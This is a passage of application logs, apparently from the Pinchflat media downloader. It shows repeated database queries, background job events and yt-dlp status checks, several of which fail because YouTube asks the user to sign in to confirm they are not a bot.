s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.278 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:36.280 [debug] QUERY OK source="settings" db=0.3ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.280 [debug] QUERY OK source="settings" db=0.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.281 [debug] QUERY OK source="settings" db=0.3ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.281 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SkT2jvklpnM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/40/3c/403c6cdeb196e7ff9ce80639df0c1e0ebd76adeda3b86e7c94c10b58d1606375.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:36.421 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=pbmAzoOjPRM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/68/e9/68e9a963175b5c8b30dc0b2b8263733bd6288016786ce63de3da0a79430d1cff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] pbmAzoOjPRM: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:36.421 [error] yt-dlp download error for media item #26: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] pbmAzoOjPRM: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:36.421 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] pbmAzoOjPRM: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:36.422 [info] {"args":{"id":26},"id":224,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1956526,"event":"job:stop","attempt":1,"queue_time":23464090,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:36.425 [debug] QUERY OK source="tasks" db=1.9ms queue=0.1ms idle=144.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:36.426 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=145.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [27] 20:31:36.430 [info] {"args":{"id":28},"id":226,"meta":{},"system_time":1774150296430077962,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:36.431 [debug] QUERY OK source="media_items" db=0.9ms idle=149.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28] 20:31:36.432 [debug] QUERY OK source="tasks" db=1.4ms idle=8.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:36.432 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:36.434 [debug] QUERY OK source="sources" db=1.4ms queue=0.2ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:36.434 [debug] QUERY OK source="media_items" db=1.6ms queue=0.2ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [27, 28] 20:31:36.437 [debug] QUERY OK source="media_profiles" db=1.5ms queue=0.8ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:36.438 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [28] 20:31:36.440 [debug] QUERY OK source="media_metadata" db=0.4ms idle=7.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [28] 20:31:36.441 [debug] QUERY OK source="media_profiles" db=1.0ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:36.442 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.443 [debug] QUERY OK source="settings" db=0.5ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.444 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:36.445 [debug] QUERY OK source="settings" db=0.2ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.446 [debug] QUERY OK source="settings" db=0.4ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.446 [debug] QUERY OK source="settings" db=0.5ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:36.447 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UYPmtB-kcME --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/50/46/50465d51e9e2cf06fb768812e8e57f55acd412a19c6647acfce2ff38b561d758.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:38.130 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=SkT2jvklpnM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/40/3c/403c6cdeb196e7ff9ce80639df0c1e0ebd76adeda3b86e7c94c10b58d1606375.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] SkT2jvklpnM: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:38.130 [error] yt-dlp download error for media item #27: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] SkT2jvklpnM: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:38.131 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] SkT2jvklpnM: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:38.131 [info] {"args":{"id":27},"id":225,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1861056,"event":"job:stop","attempt":1,"queue_time":25269136,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:38.133 [debug] QUERY OK source="tasks" db=1.0ms idle=538.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:38.134 [debug] QUERY OK source="media_items" db=0.4ms idle=540.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28] 20:31:38.138 [info] {"args":{"id":29},"id":227,"meta":{},"system_time":1774150298138103894,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:38.139 [debug] QUERY OK source="media_items" db=0.5ms idle=286.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [29] 20:31:38.139 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:38.139 [debug] QUERY OK source="tasks" db=0.7ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:38.140 [debug] QUERY OK source="sources" db=1.2ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:38.141 [debug] QUERY OK source="media_items" db=0.8ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [28, 29] 20:31:38.141 [debug] QUERY OK source="media_profiles" db=0.7ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:38.142 [debug] QUERY OK source="media_items" db=0.7ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [29] 20:31:38.144 [debug] QUERY OK source="media_metadata" db=0.1ms idle=4.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [29] 20:31:38.145 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:38.145 [debug] QUERY OK source="settings" db=0.3ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.146 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.146 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:38.148 [debug] QUERY OK source="settings" db=0.2ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.148 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.148 [debug] QUERY OK source="settings" db=0.4ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:38.149 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=wPlJl4l5Kzs --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/64/95/6495158c3e4562da6d45ffdb4ae36e217d5de34a27ed9957b9ea55aa4f52c1da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:38.482 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UYPmtB-kcME --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/50/46/50465d51e9e2cf06fb768812e8e57f55acd412a19c6647acfce2ff38b561d758.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] UYPmtB-kcME: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:38.482 [error] yt-dlp download error for media item #28: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] UYPmtB-kcME: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:38.482 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] UYPmtB-kcME: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:38.483 [info] {"args":{"id":28},"id":226,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2052322,"event":"job:stop","attempt":1,"queue_time":25429089,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:38.485 [debug] QUERY OK source="tasks" db=1.6ms idle=337.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:38.486 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=338.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [29] 20:31:38.490 [info] {"args":{"id":30},"id":228,"meta":{},"system_time":1774150298490043078,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:38.490 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=341.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", 